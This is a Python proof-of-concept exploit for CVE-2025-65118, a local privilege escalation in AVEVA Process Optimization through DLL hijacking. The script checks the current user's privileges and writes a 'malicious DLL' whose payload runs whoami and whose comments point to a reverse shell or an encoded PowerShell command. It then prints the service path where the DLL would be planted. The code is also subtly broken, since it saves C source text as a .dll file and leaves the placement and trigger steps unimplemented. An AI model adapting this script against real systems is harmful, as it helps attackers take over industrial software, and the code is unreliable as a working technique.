CVE-2025-65118

# CVE-2025-65118 PoC - Local Privilege Escalation in AVEVA Process Optimization # This PoC demonstrates the privilege escalation attack vector import os import sys import ctypes import subprocess from ctypes import wintypes def create_malicious_dll(): """Generate malicious DLL that will execute with System privileges""" dll_template = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {{ if (fdwReason == DLL_PROCESS_ATTACH) {{ // Execute payload with System privileges // In real attack, this would be malicious code system("cmd.exe /c whoami > C:\\\\temp\\\\priv_esc_result.txt"); // Create reverse shell or execute arbitrary commands // system("powershell -enc <encoded_command>"); }} return TRUE; }} ''' with open('malicious.dll', 'w') as f: f.write(dll_template) print('[+] Malicious DLL created') def check_current_privileges(): """Check current user privileges""" result = subprocess.run(['whoami'], capture_output=True, text=True) current_user = result.stdout.strip() print(f'[*] Current user: {current_user}') # Check if low-privilege user if 'Administrator' in current_user or 'SYSTEM' in current_user: print('[!] Already running as high-privilege user') return False return True def exploit_privilege_escalation(): """Attempt to exploit CVE-2025-65118""" print('[*] Starting CVE-2025-65118 exploitation...') if not check_current_privileges(): print('[-] Exploitation not needed - already privileged') return False # Step 1: Create malicious DLL create_malicious_dll() # Step 2: Place DLL in service load path service_path = 'C:\\\\Program Files\\\\AVEVA\\\\Process Optimization\\\\' dll_target = os.path.join(service_path, 'malicious.dll') try: # In real attack, this would use path traversal or DLL hijacking # os.rename('malicious.dll', dll_target) print(f'[*] Attempting to place DLL at: {dll_target}') print('[*] Note: This requires specific conditions (path traversal, misconfiguration)') except Exception as e: print(f'[-] Failed to place DLL: {e}') # Step 3: Trigger service to load the DLL print('[*] Triggering Process Optimization service to load malicious DLL') # In real attack: service restart or specific trigger print('[*] If successful, check C:\\temp\\priv_esc_result.txt') return True if __name__ == '__main__': print('CVE-2025-65118 AVEVA Process Optimization LPE PoC') print('=' * 60) exploit_privilege_escalation()

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